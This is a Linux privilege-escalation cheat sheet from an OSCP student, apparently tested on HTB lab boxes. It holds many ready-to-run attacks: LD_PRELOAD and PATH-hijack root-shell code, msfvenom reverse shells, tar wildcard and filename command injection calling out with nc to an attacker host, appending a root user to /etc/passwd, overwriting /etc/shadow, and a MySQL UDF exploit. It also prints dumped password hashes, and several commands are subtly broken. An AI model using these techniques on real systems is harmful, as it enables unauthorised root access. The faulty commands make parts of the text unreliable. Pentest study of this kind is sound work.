I have written a cheat sheet for windows privilege escalation recently and updating continually. Privilege Escalation is a very important skills in real world pentesting or even for OSCP. So Whatever i have learned during my OSCP Journey, took note. I have organized my notes as a cheat sheet and decided to share publicly, in case it is useful for someone.

These technique collected from various source in the Internet, Video and tested in HTB, CyberSecLabs, and in home labs.

Note: A cheat sheet is not understandable without basic knowledge! After all cheat sheet is not a tutorial!

Checklist

Without this cheat sheet i would like to follow two more resource available online:

  1. HackTricks Linux PE CheckList
  2. PayloadAllTheThings Linux PE Cheatsheet

Linux Privilege Escalation Tools

  1. LinPeas
  2. Linux Smart Enumeration
  3. LinEnum

Linux File Permission

(r)ead = Read permission only allow the user to read the content.
(x)Execute = The user has permission to execute the program.
(w)Write = The user can modify or delete the file/program.
(s)SUID = File Executed with same privilege of the owner(For example root).
(s)SGID = File Executed with same privilege of the group.

Gathering common Info

If we have limited access to a Linux system, Below information should be checked for further privilege escalation.

System Information

uname -a #Get kernel information
hostname #Get Host information
ip add #Get current IP address

Check User info and Common Files

  • Current user details
  • Last logged on users
  • List all users
  • Password stored in /etc/passwd?
  • Try to read restricted files
  • Read user History: .bash_history, .nano_history, .mysql_history , etc.
whoami #current username
cat /etc/passwd|grep bash #List all usres that has bash access
cat /etc/group #See which user has higher privilege
cat /etc/shadow #attempt to read restricted files
cat ~/.bash_history #Read common history files for sensitive data
locate password | more #Search for files that has 'password' word
find / -name authorized_keys 2> /dev/null #Find for ssh key
find / -name id_rsa 2> /dev/null #find for ssh Key

Kernel Exploit

Kernel Exploit is dangerous. If other technique did not work, as last hope kernel exploit could be used.

uname -a
searchsploit kernel
google>kernel_version privilege escalation

Find Backup Files

System Admin may keep backup or compressed file in any place. Common placed should be checked, such as:

/home
/root
/tmp
/var
/var/backups
/opt

For example:

ls -la /var/backups

Services Exploits

Find all service that running is root or higher privilege. After enumerating the service, search with searchsploit or google for public exploit.

Get Running Services:

ps aux | grep ^user
ps aux | grep ^root<

List Installed Software:

#In debian based
dpkg -l #List all installed software
dpkg -l | grep software_name #find specific software details
#in Red based OS
rpm -qa | grep software_name

SUDO Exploits

Sudo can run a program as super user(root). Administrator may give some program to run as root without supplying password.

Run as another user:

sudo -u username ./program

Check if there is any program or script can run as sudo without password(NOPASSWORD). If we have a program, we can search for known exploit technique in GTFObins!

sudo -l

LD_PRELOAD

If LD_PRELOAD defined in sudoers file, we can escalate the privilege.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Compile the code with following command:

gcc -fPIC -shared -o hacked.so hacked.c -nostartfiles

Run the exploit

sudo LD_PRELOAD=/tools/hacked.so apache2

CRON Job Exploits

Requirement for successful escalation:

  1. A cron job file/program/script should be running as higher privilege such as root
  2. The file/program/script should be writable to replace the code with ours.

Finding Cron Job:

Find suspicious cron job in following directories:

/etc/cron*
/etc/init.d
/etc/crontab #System wide cron job
/etc/cron.allow
/etc/cron.d
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/var/spool/cron #user crontabs
/var/spool/cron/crontabs #user crontabs

We can also find cron jobs with pspy:

./pspy64 -pf -i 1000

if a suspicious script found, check the file permission:

ls -la /path/script_name

Finally Edit, add reverse shell code!

Path Env Variable in Config

If path env variable defined in the crontab file and if any of the path is writable, we can create our backdoor with same name that already exist.

$cat /etc/crontab
PATH=/path:/path2
***** root script.sh

Exploit it(Wait a minute to get shell):

cp backdoor.sh /path/script.sh
chmod +x /path/script.sh

Wildcard Exploit

Exploiting wildcard with TAR.

Generate Reverse shell with Metasploit:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=1337 -f elf -o reverse.elf

Listen to receive connection

nc -lvp 1337

Create The exploit:

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh reverse.elf"

Execute Tar:

tar czf /path/file_name.tar.gz *

Exploit Weak File Permission

Finding writable files in a root directory

find / -writable -type f 2&gt;/dev/null
find /etc -maxdepth 1 -writable -type f

Find all writable directory

find / -executable -writable -type d 2&gt; /dev/null

Find all readable files

find /etc -maxdepth 1 -readable -type f

As a example if /etc/passwd is writable, we can add new root user:

openssl passwd -1 -salt byte password
echo 'byte:$1$byte$hMDtu8nzkmElSsWOB8IyZ0:0:0:byte:/root:/bin/bash'&gt;&gt;/etc/passwd

Exploit SUID/SGID

SUID = Run the program with permission of Creator
SGIT = Run the program with permission of Group

Find SUID

find / -perm -4000 -type f -exec ls -la {} 2>;/dev/null \;

find / -uid 0 -perm -4000 -type f 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

Search for known exploit in google or searchsploit.

Exploit Environment Variable

First we need to find SUID application

find / -uid 0 -perm -4000 -type f 2>/dev/null

Get Current environment variables:

print $PATH

For additional information, We can verify what the vulnerable application is doing:

string /usr/bin/local/app

Compile this code(/tmp/app.c) to exploit the vulnerability:

#gcc service.c -o /tmp/app
int main(){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

Export the path:

EXPORT PATH=/tmp:$PATH

Now execute the vulnerable app:

/usr/bin/app

Shared Object Injection

If any shared object not found while executing a program, and we have write permission in that directory, we can create our own shared object and re-execute for escalation

strace /usr/local/bin/program 2&gt;&1 | grep -iE "open|access|no such file"
msf command to generate the shared object backdoor
/usr/local/bin/program #execute again

Quick Example/Demo

Exploiting openssl Capability

Note: =ep mean, it has all capabilities! I copied the /etc/passwd file and added a new user(byte:$1$byte$hMDtu8nzkmElSsWOB8IyZ0:0:0:byte:/root:/bin/bash) of root group, then replaced the original one with openssl.

ldapuser1@lightweight ~]$ getcap -r / 2> /dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep

&#91;ldapuser1@lightweight ~]$ ./openssl base64 -in /etc/shadow|base64 -d
root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7:::
bin:*:17632:0:99999:7:::
ldapuser1:$6$OZfv1n9v$2gh4EFIrLW5hZEEzrVn4i8bYfXMyiPp2450odPwiL5yGOHYksVd8dCTqeDt3ffgmwmRYw49cMFueNZNOoI6A1.:17691:365:99999:7:::
ldapuser2:$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1:17691:365:99999:7:::
10.10.14.2:clJFBL7EDs1H6:17851:0:99999:7:::
10.10.14.21:cb1pO5BP8Qd1o:18525:0:99999:7:::

ldapuser1@lightweight ~]$ cp /etc/passwd .

ldapuser1@lightweight ~]$ nano /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
ldapuser1:x:1000:1000::/home/ldapuser1:/bin/bash
ldapuser2:x:1001:1001::/home/ldapuser2:/bin/bash
10.10.14.2:x:1002:1002::/home/10.10.14.2:/bin/bash
10.10.14.21:x:1003:1003::/home/10.10.14.21:/bin/bash
byte:$1$byte$hMDtu8nzkmElSsWOB8IyZ0:0:0:byte:/root:/bin/bash

ldapuser1@lightweight ~]$ base64 passwd>passwd64
ldapuser1@lightweight ~]$ ./openssl enc -d -base64 -in passwd64 -out /etc/passwd
ldapuser1@lightweight ~]$ su byte
Password: 
root@lightweight ldapuser1]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
root@lightweight ldapuser1]# 

Code Injection

Vulnerable Code:

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^(&#91;^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check&#91;0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
    

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");

  }
}

?>

Exploit:

The line “exec(“nohup /bin/rm -f $path$value > /dev/null 2>&1 &”);” will check a folder that we control. Something like “nohup /bin/rm -f file.php”. But if we somehow can insert a command after file.php(“nohup /bin/rm -f file.php;whoami”) the command will get executed. Example to get reverse shell:

touch --';nc -c bash 10.10.14.15 443;.php'

Reference:
https://www.youtube.com/watch?v=H3t3G70bakM
https://0xdf.gitlab.io/2019/11/16/htb-networked.html

Exploiting $PATH

With strings command, We can see the application executing a builtin system command. It will search the command in all directory specified in the Environment variable. To exploit this vulnerability we just need to export the directory where we have write permission!. The requirement is the app needed to be SUID as root.

$ find / -perm -u=s -type f 2>/dev/null
.
.
.
/usr/bin/chfn
/usr/bin/mtr
/usr/bin/at
.
.
.
/usr/local/bin/weirdapp

$ strings /usr/local/bin/weirdapp
.
.
.                                                                                                                                              
$ cp /home/user/update.txt /var/www/html/
.
.
.

In Kali generate payload,transfer to victim machine and start nc:

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.11.12 LPORT=443 -f elf > cp
$ python3 -m http.server 80
$ nc -lvp 443

On Victim Machine:

$ wget 10.10.10.14/cp -O /tmp/cp
$ export PATH=/tmp:$PATH
$ /usr/local/bin/weirdapp

XXD

Found it when i searched for SUID file with this command:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

Exploited by writing to /etc/shadow:

python -c 'import crypt; print crypt.crypt("password", "$6$YbP4.h/m")' #Generate the password
LFILE=/etc/shadow #Specify the target file
echo 'root:$6$YbP4.h/m$thX/Dqj33Oz.G3GEgJ9KHi2mYwJ.MRvBDrxZqzX5wSbTYYI2MIy657TTNF5eibQibpJ923Ki5V4GTwK7GRtxp0:18358:0:99999:7:::' | xxd | xxd -r - "$LFILE" #Write to /etc/shadow
su

MySQL 4.x/5.0 (Linux) – (UDF) Dynamic Library Exploit

Main Exploit link: https://www.exploit-db.com/exploits/1518
Downloaded from: https://github.com/bytefellow/pentest/raw/master/raptor_udf2.c

 $ wget 192.168.19.11/raptor_udf2.c                                                                                                                                                                 

 $ gcc -g -c raptor_udf2.c                                                                                                                                                                                                
 $ gcc -g -shared -o raptor_udf2.so raptor_udf2.o -lc                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
 $ mysql -uroot                                                                                                                                                                                                           
Welcome to the MySQL monitor.  Commands end with ; or \g.                                                                                                                                                                                  
Your MySQL connection id is 2                                                                                                                                                                                                              
Server version: 5.0.77 Source distribution                                                                                                                                                                                                 
                                                                                                                                                                                                                                           
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.                                                                                                                                                                              
                                                                                                                                                                                                                                           
mysql> use mysql;                                                                                                                                                                                                                          
Reading table information for completion of table and column names                                                                                                                                                                         
You can turn off this feature to get a quicker startup with -A                                                                                                                                                                             
                                                                                                                                                                                                                                           
Database changed                                                                                                                                                                                                                           
mysql> create table foo(line blob);                                                                                                                                                                                                        
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
Query OK, 1 row affected (0.01 sec)

mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
Query OK, 1 row affected (0.01 sec)

mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; 
ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/raptor_udf2.so' (Errcode: 2)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; 
ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/raptor_udf2.so' (Errcode: 2)
mysql> select * from mysql.func;

mysql> select * from mysql.func;                                                                                                                                                                                                   &#91;0/1206]
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function | 
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)                                   

mysql> select do_system('id > /tmp/out;');
+-----------------------------+
| do_system('id > /tmp/out;') |
+-----------------------------+
|                  4294967296 | 
+-----------------------------+
1 row in set (0.02 sec)                                   

mysql> select do_system('id > /tmp/out; chmod 777 /tmp/out');
+------------------------------------------------+
| do_system('id > /tmp/out; chmod 777 /tmp/out') |
+------------------------------------------------+
|                                     4294967296 | 
+------------------------------------------------+
1 row in set (0.00 sec)                                   

mysql> \! sh                                              
sh-3.2$ id                                                
uid=500(user) gid=500(user) groups=500(user)
sh-3.2$ exit                                              
exit                                                      
mysql> select do_system('id > /tmp/out; chmod 777 /tmp/out');
+------------------------------------------------+
| do_system('id > /tmp/out; chmod 777 /tmp/out') |
+------------------------------------------------+
|                                     4294967296 | 
+------------------------------------------------+
1 row in set (0.01 sec)                                   

mysql> exit                                               
Bye                                                       
user$ cat /tmp/out
uid=0(root) gid=0(root)                                   
user$ mysql -uroot
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.0.77 Source distribution

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select do_system('echo " user ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');   
+-------------------------------------------------------------------+
| do_system('echo " user ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers') |
+-------------------------------------------------------------------+
|                                                        4294967296 | 
+-------------------------------------------------------------------+
1 row in set (0.00 sec)                                   

mysql> exit                                               
Bye                                                       
user$ sudo bash                             

Exploit Kernel

See Kernel version:

uname -a
searchsploit kernel_version -w
wget https://www.exploit-db.com/exploits/35161 -O 35161.c
gcc 35161.c -o r00t
./root

Reference

PayloadAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
GTFOBins: https://gtfobins.github.io/
HackTricks: https://book.hacktricks.xyz/